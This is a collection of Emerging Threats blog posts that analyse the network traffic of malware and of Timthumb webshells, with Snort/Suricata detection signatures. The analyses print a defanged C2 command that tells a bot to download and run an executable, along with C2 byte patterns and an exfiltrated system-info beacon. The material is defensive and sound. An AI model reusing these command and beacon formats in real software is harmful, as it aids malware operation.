Bot of the Day

Under My Timthumb’s Thumb

In August 2011 a vulnerability was discovered by Mark Manunder in the Timthumb utility included in many WordPress themes. Yesterday Securi published a list of Webshells retrieved during the attack, along with the IP addresses of the scanners they observed.

I decided to throw together a quick script to retrieve as many of these shells as possible. It uses wget with the User-Agent Timthumb had at the time the vulnerability was discovered. This should simulate what we would see if a compromised server made the request.

I was able to download around 100 of the PHP Webshells listed in the Securi article and went work on analyzing what we retrieved. Almost all the shells had an interesting characteristic: They placed a valid GIF header at the beginning of the PHP file, defeating the file-magic checking done by Timthumb. More interestingly, most claimed to have an image size of 16129×16129 or 16129×16191, followed by the start of PHP code within at most 715 bytes of the 4 bytes that define image dimensions in a GIF. This stands out like a freight train being driven through a nitroglycerin plant.

ET has had signatures to detect DNS queries for look-alike domains required to exploit the vuln for some time. I decided to add three more signatures: one for the inbound attack, another for an obfuscation technique used in many of the PHP Webshells and a signature for the GIF header followed by PHP code. These are being released in the open ruleset today using sids 2014846-2014848. I have uploaded the wget script and pcaps here. Email me if you need the password. I also have the actual PHP Webshells available upon request.

file *.php.*
2.php.1: GIF image data, version 89a, 16129 x 16129
2.php.2: GIF image data, version 89a, 16129 x 16129
2.php.3: GIF image data, version 89a, 16129 x 16129
2.php.4: GIF image data, version 89a, 16129 x 16129
2.php.5: GIF image data, version 89a, 16129 x 16129
2.php.6: GIF image data, version 89a, 16129 x 16129
2.php.7: GIF image data, version 89a, 16129 x 16129
2.php.8: GIF image data, version 89a, 16129 x 16129
2.php.9: GIF image data, version 89a, 16129 x 16129
bot.php.2: GIF image data, version 89a, 16129 x 16191
bot.php.5: GIF image data, version 89a, 16129 x 16191
bot.php.7: GIF image data, version 89a, 16129 x 16129
byroe.php.1: GIF image data, version 89a, 16129 x 16129
cok.php.1: GIF image data, version 89a, 16129 x 16129
cok.php.2: GIF image data, version 89a, 16129 x 16191
config.inc.php.1: GIF image data, version 89a, 16129 x 16129
config.inc.php.2: GIF image data, version 89a, 16129 x 16129
cybercrime.php.1: GIF image data, version 89a, 16129 x 16129
cybercrime.php.2: GIF image data, version 89a, 16129 x 16129
cybercrime.php.3: GIF image data, version 89a, 16129 x 16129
htacess.php.1: GIF image data, version 89a, 16129 x 16129
htacess.php.2: GIF image data, version 89a, 16129 x 16129
index.php.2: GIF image data, version 89a, 16129 x 16129
injekan.php.1: GIF image data, version 89a, 16129 x 16129
injekan.php.2: GIF image data, version 89a, 16129 x 16129
login.php.1: GIF image data, version 89a, 16129 x 16129
login.php.2: GIF image data, version 89a, 16129 x 16129
login.php.4: GIF image data, version 89a, 16129 x 16129
login.php.5: GIF image data, version 89a, 16129 x 16129
login.php.6: GIF image data, version 89a, 16129 x 16129
login.php.7: GIF image data, version 89a, 16129 x 16129
phantom.php.1: GIF image data, version 89a, 16129 x 16129
pl.php.2: GIF image data, version 89a, 16129 x 16129
sh.php.1: GIF image data, version 89a, 16129 x 16191
sh.php.2: GIF image data, version 89a, 16129 x 16191
sh.php.5: GIF image data, version 89a, 16129 x 16191
sh.php.6: GIF image data, version 89a, 16129 x 16191
sh.php.9: GIF image data, version 89a, 16129 x 16191
spread.php.1: GIF image data, version 89a, 16129 x 16129
tim.php.1: GIF image data, version 89a, 16129 x 16129
wp.php.1: GIF image data, version 89a, 16129 x 16129
wp.php.2: GIF image data, version 89a, 16129 x 16129
wp.php.3: GIF image data, version 89a, 16129 x 16129
x.php.1: GIF image data, version 89a, 16129 x 16129
x.php.2: GIF image data, version 89a, 16129 x 16129
xx.php.1: GIF image data, version 89a, 16129 x 16129
xx.php.12: GIF image data, version 89a, 16129 x 16129
xx.php.4: GIF image data, version 89a, 16129 x 16129
xx.php.6: GIF image data, version 89a, 16129 x 16129
xx.php.7: GIF image data, version 89a, 16129 x 16129
yahoo.php.2: GIF image data, version 89a, 16129 x 16129
yahoo.php.3: GIF image data, version 89a, 16129 x 16129
yahoo.php.4: GIF image data, version 89a, 16129 x 16129

Kazy Part Deux: Revenge of the Clear Plastic Tarp

Ohhh, Kazy, you so krazy. It seems Kazy has moved to using outbound UDP port 53 for part of its coms. From what we discern, it appears to be check-in-related traffic. The payloads are static but change on a host-by-host basis.

This time, Kazy doesn’t seem to make any attempt to emulate DNS. Outbound UDP port 53 traffic on most networks will contain DNS requests. Because no attempt is made to impersonate normal DNS traffic, this stands out like a sore thumb. In every example one of two weird things happens while parsing what would normally be the flags filed of a DNS query message header that don’t normally occur and are easily sigable.

After writing sigs for this I re-ran a bunch of old sandnet traffic containing UDP port 53 traffic and found quite a few non-related samples attempting to hide coms on DNS ports that also had these same characteristics.

1. The reserved bit is set

 

2. Unassigned Opcodes are set 6-15. We could have included 3 here as well perhaps we will.

 

OpCode Name Reference
—— ——————————— ———
0 Query [RFC1035]
1 IQuery (Inverse Query, OBSOLETE) [RFC3425]
2 Status [RFC1035]
3 Unassigned
4 Notify [RFC1996]
5 Update [RFC2136]
6-15 Unassigned

The rules.  

Since we are checking bits and not bytes we need to use bitwise AND to see if particular flags are set.  The flags span two bytes.  We check for the invalid opcodes in byte 1 and the reserved bit being set in byte 2.  If you would like to more about the logic behind these rules I suggest that you have a look at the excellent blog post VRT did on this subject.  As always any feedback would be greatly appreciated!

alert udp $HOME_NET any -> $EXTERNAL_NET 53 (msg:”DNS Protocol Violation Opcode 6 or 7 set Possible C&C”; byte_test:1,!&,64,2; byte_test:1,&,32,2; byte_test:1,&,16,2; classtype:trojan-activity; reference:md5,a56ec0f9bd46f921f65e4f6e598e5ed0; sid:2014701; rev:4;)

alert udp $HOME_NET any -> $EXTERNAL_NET 53 (msg:”DNS Protocol Violation Opcode 8 – 15 set Possible C&C”; byte_test:1,&,64,2; classtype:trojan-activity; reference:md5,a56ec0f9bd46f921f65e4f6e598e5ed0; sid:2014702; rev:4;)

alert udp $HOME_NET any -> $EXTERNAL_NET 53 (msg:”DNS Protocol Violation Reserved Bit Set Possible C&C”; byte_test:1,&,64,3; classtype:trojan-activity; reference:md5,a56ec0f9bd46f921f65e4f6e598e5ed0; sid:2014703; rev:4;)

Variant.Kazy.53640: Lessons in Camouflage Using Clear Plastic Tarps and Air Horns

My day started off today like most here at ET Pro. I grabbed my morning cup of coffee, checked email, handled some community-related items and began to look at a  sample (md5:a01d75158cf4618677f494f9626b1c4c) one community member found “interesting.” Right away we could tell that the sample was trying to evade detection by attempting to camouflage itself as normal SSL traffic. As you can see from the screen shot below, it fails miserably. The Session ID and Cipher Suite lengths are way longer than Client Hello length specified.

Additionally after running the sample through multiple sandboxes and on various zombies, it seems that this piece of badness always uses a static SSL record length of 55 and a Client Hello length of 51. Using Snort 2.9.x or Suricata, we can use byte_extract to validate that the SessionID length and Cipher Suite length are not longer than the Client Hello length (rules below). It will be interesting to see if this hits anywhere else, because this behavior should never be seen in a normal Client Hello. Perhaps this is an attempt by the malware authors to evade NIDS that auto-ignore SSL. Why take the trouble to try to hide in something that sort of looks like SSL when you can just use SSL? Weird…

 

 

alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:”ETPRO TROJAN Possible Variant.Kazy.53640 Malformed Client Hello SSL 3.0 (Session_Id length greater than Client_Hello Length)”; flow:to_server,established; content:”|16 03 00|”;
depth:3; content:”|01|”; distance:2; within:1; byte_extract:3,0,SSL.Client_Hello.length,relative; byte_test:1,>,SSL.Client_Hello.length,34,relative; reference:md5,a01d75158cf4618677f494f9626b1c4c; classtype:trojan-activity; sid:2014634; rev:1;)

alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:”ETPRO TROJAN Possible Variant.Kazy.53640 Malformed Client Hello SSL 3.0 (Cipher_Suite length greater than Client_Hello Length)”; flow:to_server,established; content:”|16 03 00|”; depth:3; content:”|01|”; distance:2; within:1; byte_extract:3,0,SSL.Client_Hello.length,relative; byte_jump:1,34,relative; byte_test:2,>,SSL.Client_Hello.length,0,relative;reference:md5,a01d75158cf4618677f494f9626b1c4c; classtype:trojan-activity; sid:2014635; rev:1;)

For older  Snort we went ahead and just used byte_test/byte_jump to check against the static value used in the Client Hello(51).

alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:”ET TROJAN Possible Variant.Kazy.53640 Malformed Client Hello SSL 3.0 (Session_Id length greater than Client_Hello Length)”; flow:to_server,established; content:”|16 03 00|”; depth:3; content:”|01 00 00 33 03 00|”; distance:2; within:6; byte_test:1,>,51,32,relative; reference:md5,a01d75158cf4618677f494f9626b1c4c; classtype:trojan-activity; sid:2014634; rev:3;)

alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:”ET TROJAN Possible Variant.Kazy.53640 Malformed Client Hello SSL 3.0 (Cipher_Suite length greater than Client_Hello Length)”; Cipher_Suite length greater than Client_Hello Length)”; flow:to_server,established; content:”|16 03 00|”; depth:3; content:”|01 00 00 33 03 00|”; distance:2; within:6; byte_jump:1,32,relative; byte_test:2,>,51,0,relative; reference:md5,a01d75158cf4618677f494f9626b1c4c; classtype:trojan-activity; sid:2014635; rev:2;)

>Bot of the Day: Win32.Changeup / Vobfus.J

>Today’s bot isn’t that new, the CnC channel it uses has been in use by a few different families for some time now. It’s simple, and extremely easy to detect. But they keep using it… Fine by us.

So once executed the malware connects to a server on a high port, in today’s case port 8000, but we’ve seen it anywhere from ports 2000 to 60,000. The client connects and the server immediately replies with a line like so (defanged a bit):
:.dl hxxp://<redacted>.com:40800/a hahot.exe
That’s the entire packet. The server FIN/ACKs, the client ACKs, and then sends a RST. An unusual way to end a connection. So the client in total sends so payload at all, which is a bit unusual. It’s not reporting any information about itself at this point.  
Obviously the client understands that it needs to grab the executable mentioned and save as hahot.exe and execute, which it does. The initial code is just a dropper. So the next connection out of the client looks like so:
GET /a HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
Host: <redacted>.com:40800
We have a legitimate User-Agent, but not the User-Agent the local system ought to be using. It’s missing a lot of important bits that a normal browser header would have as well. This is a request that we would easily catch with the new header pattern signatures we’re rolling out in the ET Pro ruleset. Sid 2803274 Common Downloader Header Pattern UH gets this one well. No legitimate browser talks like this, only dedicated libs and malware. 
Note: This is on a high port. Suricata will catch this with 2803274 as it’ll recognize http on an off port and apply all the http signatures. Snort will not unless you define all ports as http_ports, which would be performance suicide unfortunately. 
So our zombie grabs the executable and executes, but then makes another connection to the same url. This second time it gets a different response:
HTTP/1.1 503 Service Temporarily Unavailable
Server: nginx/1.0.4
Date: Xxx, xx Aug 2011 xx:xx:xx GMT
Content-Type: text/html
Content-Length: 614
Connection: keep-alive

<html>
<head><title>503 Service Temporarily Unavailable</title></head>
<body bgcolor=”white”>
<center><h1>503 Service Temporarily Unavailable</h1></center>
<hr><center>nginx/1.0.4</center>
</body>
</html>
<!– a padding to disable MSIE and Chrome friendly error page –>
<!– a padding to disable MSIE and Chrome friendly error page –>
<!– a padding to disable MSIE and Chrome friendly error page –>
<!– a padding to disable MSIE and Chrome friendly error page –>
<!– a padding to disable MSIE and Chrome friendly error page –>
<!– a padding to disable MSIE and Chrome friendly error page –>

The entire CnC connection is detected by a number of ET Open and ET Pro signatures within Suricata. In Snort the only event will be on the initial CnC connection in sid 2010973 Vobfus/Changeup/Chinky Download Command. With Suricata you’ll also get alerts on the subsequent activity for an HTTP connection on off ports, Common Downloader Header Pattern UH, and a specific hit for this trojan’s /a request. 
An interesting one, and a different style CnC than the usual. Hope you’ve enjoyed it!

>Bot of the Day: Win32.AutoRun.ajbk /Win32:FaDrop/ Alureon.gen!J/ FakeAlert.CG

>Interesting bot today to talk about, and a great example of how header analysis is really changing how we snag badness in your Emerging Threats Rulesets. We don’t know what to call this one, every AV has a different opinion there, but in general it’s a downloader for some kind of FakeAV. Regardless, it’s bad if you see it on your network. Call it what you like!

So this is a hard one to catch normally. It’s CnC Channel is http, and looks like so, a post to an IP address:

POST xxx.xxx.xxx.xxx/cgi-bin/generatorx

Not an easy one to make a signature for in normal circumstances. The post data is just 29 bytes of hex, nothing special and no discernible patterns. Generatorx is slightly unusual but is found in many pages with some googling. So we’re stuck, we’d have massive potential for false positives.

But wait! There’s more! The full header looks like so:

POST /cgi-bin/generatorx HTTP/1.0
Content-Length: 29

That’s it, the entire request. Lots of unusual things here. This is a relatively simple exercise to sig this thing no. I realize you probably see the issues but I’ll lay the factors out in detail for completeness:

1. No Host field, no User-Agent, Content or accept headers, etc.

2. HTTP/1.0. While 1.0 is legal and not hostile, it’s unusual in normal web traffic, and more so in a POST request.

So we’ve got sig coverage now in the Pro ruleset in sid 280338. The content of that sig is like so: (Suricata Format)

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:”ETPRO TROJAN Autorun.ajbk/Alureon.J Checkin”; flow:established,to_server; content:”POST”; http_method; content:”/cgi-bin/generatorx”; http_uri; content:” HTTP/1.0|0d 0a|Content-Length|3a| “; content:”|0d 0a 0d 0a|”; within:10; reference:md5,08e543df4b84bfbeffc1075becbdc2dc; classtype:trojan-activity; sid:2803338; rev:1;)

(Yes, we’re giving that one away if you’re not a pro subscriber. Put it to good use!)

So that makes a quite foolproof signature, and in the Suricata version we’ll catch them on any port as they inevitably start to hop around to evade Snort. But we need to generalize that into a header pattern signature, which we’ll release in the next few days after it undergoes some more in depth QA checking.

Comments welcome!

>Header Analysis to Catch Malware Part 2

>In our last episode (Header Analysis to Catch Malware) we introduced the idea of and the first two signatures for doing do. These have been extremely useful! But we’re catching some things that aren’t malware. Suspicious, unusual, things we didn’t know about before, but not malware. Just on those two initial signatures which were looking for UHCa and UH. User-agent, Host, Cache-control only, and User-agent, Host. Both very unusual ways to talk HTTP, and not a way ANY known browser talks.

So to kill some falses on those two sigs we’re going to add the Evil flow bit. Yes… our first use of the Evil bit, it’s an historic occasion! Evilghost (of whom all evil is named after) would be proud if he were still with us.

All of these signatures will also be SETTING two new flow bits each. This will persist in all new header sigs:

flowbits:set,ETPRO.header.HCa;
flowbits:set,ETPRO.header.bad;

We’re setting a flag for that specific header pattern which we can then check in later sigs, useful for trojans that are a lot like normal traffic but we have an unusual header pattern, we can get them this way more reliably. And the general idea that this request is using a header scheme that is not used in any known legitimate browser.

We’re introducing four more signatures for this purpose into the ruleset today. Two are very simple signatures like those from yesterday, and will also be Evil-bitted. Two more are on the other end of the spectrum, many more fields, and thus much less prone to catching legitimate apps.

2803304  ETPRO TROJAN Common Downloader Header Pattern HCa
2803305  ETPRO TROJAN Common Downloader Header Pattern H

These two are simple obviously. Host and Cache-control, and Host only. Both are extremely unusual, but a few toolbars and such do it this way, so the above are Evil-bitted to keep them into the really bad stuff. The side effect here of course is that we will miss some true positives that are not to known evil hosts.

We’re also adding:
2803306  ETPRO TROJAN Common Downloader Header Pattern Specific Mozilla 5 HAUC
2803307  ETPRO TROJAN Common Downloader Header Pattern General HAUC

These signatures are very similar, but we have a number of bots that use this pattern with a very specific Mozilla/5.0 user-agent string.

Please keep the feedback coming on these, we’re having spectacular good luck with these, especially in the sandnet.

Note: The Evil bit is at this point populated with hosts from the Bot-CC list, Compromised list, Dshield Known Attackers list, and the Spamhaus DROP list. That’s a lot of badness, but not all of course.

>Bot of the Day: Trojan.Win32.Swisyn.aqis

>A bit of a funny bot today to highlight. Not a difficult CnC protocol to understand, or write a sig for. I think you’ll get a chuckle out of this as we did.

First off, it’s called Trojan.Win32.Swisyn.aqis by Kaspersky, but no one else detects it. Nobody… We’re used to seeing low detection, 4 or 5 vendors detecting a sample. But it’s very rare to have just one. 


So, the CnC… you’ll love this. Port 8001:



Sorry for the redactions there, it really gave up a LOT of information. But so polite. A nice Hello, and speaking in plain terms. Simple. to the point. Gives the bot herder a very good idea of the resources they’ve got available. Surprising there’s no obfuscation though. C’mon! Give us an XOR or something at least, make it sporting.


Here that is in text:
——

Hello
xxxxxxxxxxxxxxxx.Windows XP.GT.Intel Pentium III Xeon processor.x86 Family 6 Model 7 Stepping xxx Mhz.xxxxxxx.RAM: 71 % used.RAM Total: xxxx MBs.Page File: xxxx MBs.Page File Disponible: xxxx MBs.Virt Mem Total: xxxxxxx MBs.Virt Mem Disponible: xxxxx MBs.Sin Asignar.192.168.xxxx xxx xx.<xxxxx>–
——

Covered in sid 2803207 in today’s tarball.

>Bot of the Day: Ramnit/Ninmul

>Ramnit is interesting because it tries to slide a command and control channel in on port 443 (SSL). Why port 443, a few reasons I might choose to do that:

1. Many sites disable app processing on port 443 to save load on their IDS engine.
2. Some old content filters used to just look at IP and nothing else for what they assumed was SSL.
3. Port 443 is usually left wide open on firewalls that can’t proxy.
These are the usual reasons for sitting on a known port, but the bad guys usually go port 80 to hide in the noise. So this is a bit unique in that it’s on 443 vs 80. 
The protocol itself is rather simple, and in about 900 samples there is exactly NO variation. That’s a good deal of time, different CnC servers (is very different nets) over time. And no variation at all. Whatever the command is being returned, the bad guys haven’t changed it at all. That was also very interesting. Detection for recent samples of this bot is still very low. Perhaps these guys have not felt much pressure to change. 
The CnC protocol looks basically like so:
Open on port 443, bot to server, 6 byte packet:
|00 ff 01 00 00 00|
Server returns an ACK packet only, no data. Client sends:
|e8|
Server ACKs. Then sends a 149 byte packet starting out like:
|00 ff 8f 00 00 00 e8 00 89 00 00 00 … |
Client FIN/ACK’s and we tear down. 
Rather familiar structure, you could spend a bit of time on the binary and probably figure out the commands and structure of the protocol rather easily. 
More interesting is the DNS in use. Each sample first looks up libdnsmasq (dot) com. Dnsmasq is a legitimate tool, a tiny DNS and DHCP server for small networks. The project does not reside at that domain. Some interesting points:
1. libdnsmasq (dot) com was first registered 3/15/2011, which is just days before the oldest samples we’ve got in archive.
2. Russian registrar Reg.ru
3. Hosted in a Russian dedicated server farm. 
4. Neither the IP (46.161.24.37) or domain are blacklisted anywhere.
5. The IP is not shared, and to our knowledge not associated with any other malware or CnC.
6. The block that server is in has a number of bad things within the /24 including SpyEye and others. NOTE: A couple AV firms call this SpyEye-like, but it’s CnC is different and traditional SpyEye which is primarily HTTP-based. More than coincidence?
There are surely many more interesting things to track down here. If you’ve got time take a look, there are things to be learned. 
But after all, most importantly we have all known variants detected in ET Pro Subscriber sigs 2803190 and 2803191. You’re covered!
Comments welcome! What else can you find on these?

>Bot of the Day: Nekill.A

>So we’re starting a new series of blog posts called Bot of the Day. Behind the scenes in the Emerging Threats Sandnet we process upwards of 50 thousand unique samples per day, and our humans have to take a look at several hundred of those each day that the ET Pro ruleset doesn’t hit on.

The humans look at the traffic for the bot, figure out if we have a rule that’s close that needs to be modified, or if we need something new. Because really, there just aren’t all that many different command and control channels. Don’t get me wrong, there are a lot, but they get reused extremely frequently. So very often sigs we write for one family of malware will come into use on a few other families over the years.

So what we’ll do in the Bot of the Day posts is just show you something interesting that came across the wire. We may not go into deep detail or reverse engineer the binary, that’s for the AV guys. We do networks, so we’ll look at activity on the network and how we’re covering that for you!

Today’s bot caught my eye and inspired me to make this post. It’s not revolutionary, but definitely different. It uses the Accept: header in it’s get request to slide a bit of information out. Like so:

Obfuscated a bit, but here are the interesting points:
1. Hex and commas in the accept header. That should be something like “Accept: */*”. The above, that just ain’t right.
2. Request to a .cn dynamic dns provider domain… surprise!!
3. No user agent field. Not normal, another good bit of information. 
4. Check out the times on the return header. This was collected and analyzed today. The timestamps are extremely wrong. Have to look into that one more, interesting….. Perhaps we ought to do signatures for http return headers that are from the wrong year?

So, interesting. Easy to detect in the ET Pro rulesets. This is covered by detecting the accept header in sid 2803163 - Win32.Nekill-Style Invalid Accept Header.

We do have another sig in the open ruleset for Nekill. 2013260, which looks like this for suricata:

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:”ET TROJAN Win32/Nekill Checkin”; flow:established,to_server; content:”?v=”; http_uri; content:”&mid=”; http_uri; content:”&r1=”; http_uri; content:”&tm=”; http_uri; content:”&av=”; http_uri; content:”&os=”; http_uri; content:”&uid=”; http_uri; content:”&cht=”; http_uri; content:”&sn=”; http_uri; classtype:trojan-activity; sid:2013260; rev:3;)

Obviously quite different. This new variant did not exhibit any of the similar behaviors, nor looking back did the old one do anything like this one. WHy are they both called Nekill? AV misclassification possibly, although the naming is as unanimous as it usually gets for AV companies. 
Not that important. What’s important is we have a sig for it! We’ll find ‘em, you kill ‘em!